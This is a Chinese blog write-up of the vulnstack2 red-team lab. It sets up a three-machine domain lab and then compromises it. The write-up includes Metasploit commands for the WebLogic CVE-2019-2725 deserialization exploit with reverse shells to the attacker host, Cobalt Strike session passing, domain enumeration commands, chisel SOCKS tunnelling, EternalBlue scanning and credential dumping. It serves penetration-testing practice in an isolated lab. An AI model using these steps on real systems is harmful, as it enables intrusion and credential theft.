红日安全ATT＆CK靶机实战系列之vulnstack2

最新推荐文章于 2024-07-09 15:25:42 发布
置顶 最新推荐文章于 2024-07-09 15:25:42 发布
阅读量5.8k 收藏 8
点赞数
分类专栏： 靶场 文章标签： vulnstack 红日安全 web安全 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zy15667076526/article/details/115719280
版权

typora-root-url: pic\ATT＆CK靶机实战系列——vulnstack2

声明

好好学习，天天向上

环境配置

下载地址，直接进去用百度云，没有会员也下的非常快

http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

边下载着，可以开始vmware的网络配置

下图为官方给出的，从虚拟机网络来看，好像和vulnstack1差不多啊，DMZ区就是边界

192.168.239.1/24就是外网，10.10.10.1/24就是内网

攻击者Internet：kali+windows的攻击机（我自己设置的NAT网段的192.168.239.*，模拟外网）
DMZ：对外边界服务器，Win2008（64位）
办公区：域成员也得上网，win7（32位）
核心区：域控，2012（64位）

所以这中间出现两个网段，一个外网网段，一个内网网段

鉴于需要两个网段，我们需要在vmware上做一些配置

首先，用一块仅主机的VMnet2（10.10.10.0），另一块NAT的VMnet8（192.168.239.0），这个不会调，可以百度

在这里插入图片描述

调完vmware，三台服务器都下好了，分别解压，然后，直接打开vmx文件就好，主要是网络配置

WEB.de1ay.com相当于网关服务器（对外边界服务器），所以自然要两张网卡，顺序不要错哦

在这里插入图片描述

PC.da1ay.com，跟WEB.de1ay.com的网络配置一样

在这里插入图片描述

DC.de1ay.com

在这里插入图片描述

网络配置完成，现在，可以登进去每个服务器看一看，是不是成功获取了IP，密码1qaz@WSX

按道理来讲，是不用修改配置的，但是作者把IP都写死了，内网网段10的我们不用管，因为都是新增的网卡VMnet2，也调成了10，主要是外网网段，每个人都不一样，作者把外网网段都写成了192.168.111.1/24，所以我们要么把我们的NAT修改成111段的，要不就进到每一台服务器中，其实就是WEB和PC，把第一块网卡的IP从111改成自己的NAT网段，我是239，这里举个WEB服务器的例子

注意只有WEB的这台服务器，密码会显示错误，把快照转到1.3的就好了，然后修改网络需要输入管理员administrator/1qaz@WSX

我只把C段改成了239，原来是192.168.111.80，我改成了192.168.239.80

在这里插入图片描述

下面是IP表

攻击者：
kali
192.168.239.198

windows
192.168.239.158

靶场：
WEB：对外边界服务器
10.10.10.80
192.168.239.80

PC：域成员
192.168.239.201
10.10.10.201

DC：域控
10.10.10.10

然后进入WEB中，来到C:\Oracle\Middleware\user_projects\domains\base_domain\bin 路径

使用管理员才能进去administrator/1qaz@WSX

注意！！！分别右键，以管理员权限执行setDomainENV、startManageWeblogic、startWeblogic

开启成功后，cmd是一直会保持在的，搭过java的web服务或者weblogic的都懂

在这里插入图片描述

环境配置到此结束

战斗

Web渗透

信息收集

kali扫描存活

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.239.1/24

在这里插入图片描述

扫描详细信息

nmap -T4 -A 192.168.239.80 -p 1-65535 -oN nmap.A

7001醒目的摆在了眼前，还是老版本10.3.6.*

在这里插入图片描述

访问7001

http://192.168.239.80:7001

shell-Weblogic

使用weblogic的扫描工具

git clone https://github.com/dr0op/WeblogicScan.git

执行

pip3 install -r requirements.txt
python3 WeblogicScan.py 192.168.239.80 7001

存在很多漏洞

在这里插入图片描述

开始利用，网上有很多种方式，我这里选取比较麻烦的一种

进入msf查看一下漏洞利用脚本

msfconsole
search CVE-2019-2725

4月底，发布的exploit/multi/misc/weblogic_deserialize_asyncresponseservice

在这里插入图片描述

这个模块默认的targets是unix，所以还要设置成windows

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target 1
set LHOST 192.168.239.198
set LPORT 6666
run

在这里插入图片描述

在这里插入图片描述

权限维持/提升

提权一下

在这里插入图片描述

派生给CS，在CS上线，和我的上一篇vulnstack1里面差不多，就不详细说了

启动CS

nohup ./teamserver 192.168.239.198 123456 >/dev/null &
./cobaltstrike

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.239.198
set lport 7777
set session 1
run

在这里插入图片描述

CS的这个界面，每次看都特别有感觉，顺便提权

在这里插入图片描述

在这里插入图片描述

内网渗透

信息收集

拿下了第一台服务器的system，进行一波信息收集

ipconfig /all   # 查看本机ip，所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组（通常会有域用户）
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
net group 组名 /domain    # 查看域中某工作组
net time /domain           // 主域服务器会同时作为时间服务器
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器（可能有多台）
net group "Enterprise Admins" /domain    // 查看域管理员组

经过一番收集后

目标Web服务器主机的操作系统为Windows Server 2008，具有两个网卡分别连通192.168.1.1/24和10.10.10.1/24两个网段

目标主机所在的网络存在域环境，域名为de1ay.com，存在两台域主机WEB和PC，域控制器为DC.de1ay.com，主机名为DC，域管理员为Administrator。

分别ping一下DC和PC，解析出来这两个就是我们下面的目标咯

DC 10.10.10.10
PC 10.10.10.201（还没通）

在这里插入图片描述

横向渗透

kali添加代理进行一波内网的信息收集了

使用chisel，windows用windows的amd64，linux用linux的amd64，因为都是64位的

https://github.com/jpillora/chisel/releases/

meterpreter上传给windows代理工具

upload /app/tools/chisel.exe C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\bin\\chisel.exe

windows后台运行代理

start /b chisel.exe server -p 1090 --socks5

在这里插入图片描述

kali配置代理工具

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

执行代理工具

nohup ./chisel client 192.168.239.80:1090 socks &

nmap扫描

proxychains nmap -Pn -sT 10.10.10.1/24 > nmap_res.txt

和我们信息收集到的一样

在这里插入图片描述

接下来，目标就是这两台了

10.10.10.10和10.10.10.201

msf加代理扫永恒之蓝，时间还挺久了

setg Proxies socks5:127.0.0.1:1080
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.10.10.1/24
set threads 5
run

在这里插入图片描述

在这里插入图片描述

10和201都有，先试试201

setg Proxies socks5:127.0.0.1:1080       // 预先设置好代理
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.201
set lport 6777
set AutoRunScript post/windows/manage/migrate             // 自动迁移进程
run

位数不对，算了

用CS把密码都列出来

在这里插入图片描述

用vulnstack1中同样的方式，将其他域内服务器都上线

在这里插入图片描述

真是内网大杀器

在这里插入图片描述

维梓-
关注
  • 0
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
专栏目录
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
05-27
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
ATT&CK框架介绍及战技术对照表
05-18
通过理解ATT&CK框架，安全团队可以更有效地识别攻击模式，制定防御策略，优化现有的安全控制，并对安全事件响应进行改进。同时，它也是安全训练和教育的重要资源，帮助提升网络安全意识。 综上所述，ATT&CK框架是...
红日靶机vulnstack02【精华总结】
qq_45300786的博客
07-25 1347
前记 听说红日靶机是非常好的内网渗透练习靶机，那么今天就来玩玩。 我会把我学到的全都记录下来，方便以后复习，所以可能有点多，需要的自己看目录。 这里我会先说明思路（环境思路和战斗思路）和总结 红日靶机vulnstack02主机配置比红日靶机vulnstack01【精华总结】多了2点，2台域成员主机的UAC认证和域控的密码复杂度。这2个记得都改了，不然很烦。 这里非常重要的一点，楼主必须先科普一下！ 1、域控机可管理所有域用户。 2、域用户、域管理员可登陆到任何一台在域中的域成员主机，当然域成员想要登陆域控机
【渗透测试】Vulnstack2-二刷，msf编码360免杀，cs上线
m0_74272345的博客
10-02 158
二刷延续一刷思路和未解决问题，完成360免杀、横向移动PC机、黄金票据伪造Vulnstack2一刷：360免杀该靶场360版本较低，使用MSF自己的编码器就能绕过横向移动PC机器CS横向移动没有什么难度，mimikatz拿下域内用户密码后就能psexec横向移动到DC、PC黄金票据伪造在域控run mimikatz后拿到de1ay用户的SID，hashdump拿到krbtgt用户hash，CS在WEB机的Administrator用户下进行黄金票据伪造。
ATT&CK 靶场 vulnstack2 超详细渗透记录
mdp1234的博客
02-05 3433
本文仅用于技术学习和交流，严禁用于非法用途，否则产生的一切后果自行承担。 一、环境搭建 靶场下载地址：下载地址 靶场统一登录密码：1qaz@WSX 环境的拓朴图 web机的开机，改用de1ay/de1ay用户登录，密码：1qaz@WSX 其他机器用户不变，密码：1qaz@WSX dc机ip：192.168.225.10 web机ip：192.168.225.12 192.168.162.5 pc机ip：192.168.225.11 192.168.162.3 攻击机：
内网渗透靶场 Vulnstack（二）
qq_47168481的博客
03-08 5745
这次靶场东拼西凑也算是通关了，重新复习了一下，也学到了很多东西，在这简单梳理一下思路 内网环境介绍 域控服务器： •内网IP：10.10.10.10 •系统：Windows Server 2012（64位） •用户名：de1ay WEB服务器： •模拟外网IP：192.168.178.153 •内网IP：10.10.10.80 •系统：Windows Server 2008（64位） PC域内主机： •内网IP：10.10.10.201 •系统：Windows 7（32位） 攻击者VPS： •模拟外网IP
【渗透测试】vulnstack2-渗透思路养成！
m0_74272345的博客
10-01 272
花了一个下午到晚上十点的时间，尽量不借助WP试着打了一次（但还是略看了一点），目的是想形成自己的方法论和渗透思路。但很明显思路还不成熟，不够熟练。这是第二次打vulnstack2，上次还是6月份的时候，这次选择了纯MSF打法，仍然暴露出MSF的一些局限性，还是要配合CS来打本次未完成的两个问题横向移动到PC黄金票据生成（上次纯CS打法是解决了这个问题的）
攻防靶场｜Vulnstack2靶场之CS实战
weixin_42282189的博客
11-19 4145
作者： 不染 免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。 0x00 简介 最近学点攻防，拿靶场练练手，大佬轻喷哈。 靶场简介： 红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。 Bypass UAC Wind.
ATT&CK实战系列二（CS域渗透）
weixin_44155363的博客
08-01 2356
环境配置： DC IP：10.10.10.10 OS：Windows 2012 应用：AD域 WEB（恢复快照后在登录） IP1：10.10.10.80 IP2：192.168.167.133 OS：Windows 2008 应用：Weblogic 10.3.6 MSSQL 2008 PC IP1：10.10.10.201 IP2：192.168.167.129 OS：Windows 7 攻击机 IP：192.168.167.128 OS：Windows 10 IP：192.168.167.131 OS：K
ATT&CK 实战（二）
GoDunTong's Blog
07-01 452
一、环境搭建 1.环境搭建测试 红日靶场地址 1.1 网络所示 开启Weblogic服务 2.信息收集 2.1 信息收集 ## 端口扫描 root@kali:~# nmap -A -sV 192.168.111.80 二、漏洞探测与提权 1、漏洞利用 1.1 弱口令 Weblogic登录界面：http://192.168.111.80:7001/console/login/LoginForm.jsp 常用弱口令: system/password system/security weblogic/w
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
ATT&CK手册(修改版)
09-16
10. **合作与共享**：ATT&CK模型促进了安全社区内的信息共享，鼓励企业和研究机构公开他们的威胁情报，共同对抗网络威胁。 通过阅读《ATT&CK手册(修改版)》，读者能够深入理解现代网络攻击的复杂性和多样性，从而更...
ATT&CK 实战 - 红日安全 vulnstack（二）渗透记录
daxi0ng的博客
11-30 2269
前言： 搭建过程可以参考这位师傅的。我就不重复写了。 https://www.cnblogs.com/sallyzhang/p/13889411.html 三台机子的默认密码都是1qaz@WSX，但是web这一台服务器默认密码登录会错误，解决办法是选择v1.3的快照，报错之后点击放弃，然后重启web虚拟机就可以进了。 默认没有开启Web服务，来到C:\Oracle\Middleware\user_projects\domains\base_domain 路径，运行startWebLogic.
Vulnstrack红队靶场二
鸣蜩十四的博客
09-13 399
一．搭建vulnstack靶场环境 主要以真实企业环境为实例搭建一系列靶场，通过练习另外本次实战完全模拟ATT&CK攻击链路进行搭建，开成完整闭环，下载地址： http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 这个靶场是三个目标，一个web服务器，PC机和最后的域控，然后web服务器添加一块网卡，一个nat模式，相当于处于外网中，另一个为仅主机模式，PC也是两块，一样的配置，而DC则仅主机模式，只能内网访问,这些下载好镜像已经提前配置好了，下来我们
VulnStack靶场二
aming小老弟
04-19 1771
ATT&CK红队评估实战靶场二0x00 靶场搭建防火墙策略运行weblogic启动脚本net view 显示 6118 error0x01 渗透实战 红队实战系列，主要以真实企业环境为实例搭建一系列靶场 本次红队环境 关键词：威胁情报 | 内网渗透 | Kill Chain | 域渗透 | 安全靶场 Bypass UAC Windows系统NTLM获取（理论知识：Windows认证） Access Token利用（MSSQL利用） WMI利用 网页代理，二层代理，特殊协议代理（DNS，I
[VulnStack] ATT&CK实战系列—红队实战（二）
weixin_45605352的博客
08-27 1082
0x00 环境搭建 靶机环境是红日团队开源的一个红队实战测试环境，靶机下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSX 配置网卡，仅主机模式192.168.10.0网段模拟内网，192.
红日（vulnstack）2 内网渗透ATT&CK实战
m0_66299232的博客
03-04 1348
wls-wsat/CoordinatorPortType11 shell.jsp //上传木马。net group "domain computers" /domain //查看域中的其他主机名。net group "domain controllers" /domain //查看域控制器。net group "domain admins" /domain //查看域管理员。run autoroute -s 10.10.10.0/24 //添加路由。net user /domain //查看域用户。
自学黑客（网络安全）
最新发布
xv7676的博客
07-09 1610
我们知道计算机最早是在西方发明出来的，很多名词或者代码都是英文的，甚至现有的一些教程最初也是英文原版翻译过来的，而且一个漏洞被发现到翻译成中文一般需要一个星期的时间，在这个时间差上漏洞可能都修补了。此时我们的选择也可以很多，比如CSDN，比如知乎，再比如B站，都有很多人在分享自己的学习资料，但我觉得这里存在的很大一个问题就是不连贯、不完善，大部分免费分享的教程，都是东一块西一块，前言不搭后语，学着学着就蒙了，这是我自学之后的亲身感受。当然现在市面上很多网站都是PHP的开发的，所以选择PHP也是可以的。
MITRE ATT&CK
09-17
MITRE ATT&CK是一个强大且庞大的框架，用于描述和组织关于攻击者战术和技术的知识。它可以帮助安全专业人员了解攻击者可能使用的方法和技术，并提供对防御和检测措施的指导。 ATT&CK框架包括三个主要模型：ATT&CK for Enterprise、ATT&CK for Mobile和ATT&CK for ICS。ATT&CK for Enterprise适用于Windows、Linux、MacOS、云平台等技术和战术。ATT&CK for Mobile适用于移动设备的战术和技术。ATT&CK for ICS适用于工控设备的战术和技术。 ATT&CK框架使用矩阵的方式来展现攻击方的战术和技术。矩阵根据攻击者可能采取的不同行动进行分类。通过研究和理解ATT&CK矩阵，安全专业人员可以更好地了解攻击者的行为模式，并制定相应的防御策略和安全措施。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值